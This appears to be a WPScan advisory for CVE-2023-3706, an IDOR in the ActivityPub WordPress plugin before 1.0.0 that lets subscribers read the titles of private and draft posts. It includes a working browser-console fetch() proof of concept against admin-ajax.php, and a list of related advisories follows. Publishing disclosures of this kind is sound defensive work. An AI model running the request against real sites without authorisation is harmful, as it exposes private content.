ActivityPub for WordPress < 1.0.0 – Subscriber+ Arbitrary Post Title Disclosure | CVE 2023-3706 | Plugin Vulnerabilities

Description

The plugin does not ensure that post titles to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the title of arbitrary post (such as draft and private) via an IDOR vector

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_title]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the title of the private/draft post with ID 42 in the response

Affects Plugins

Fixed in 1.0.0

References

CVE

Classification

Type

IDOR

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

daa4d93a-f8b1-4809-a18e-8ab63a05de5a

Timeline

Publicly Published

2023-09-25 (about 2 years ago)

Added

2023-09-25 (about 2 years ago)

Last Updated

2023-09-25 (about 2 years ago)

Other

Published

Title

Published

2022-12-05

Title

ACF Quick Edit Fields < 3.2.3 - Contributor+ User Metadata Leak via IDOR

Published

2023-10-09

Title

WordPress File Sharing Plugin < 2.0.5 - Subscriber+ Sensitive Data and Files Exposure via IDOR

Published

2025-11-20

Title

Return Refund and Exchange For WooCommerce < 4.5.6 - Insecure Direct Object Reference to Authenticated (Subscriber+) Refund Request Cancellation

Published

2025-04-14

Title

Projectopia <= 5.1.21 - Unauthenticated Privilege Escalation via Account Takeover

Published

2025-08-14

Title

Order Tip for WooCommerce < 1.5.5 - Unauthenticated Tip Manipulation to Negative Value Leading to Unauthorized Discounts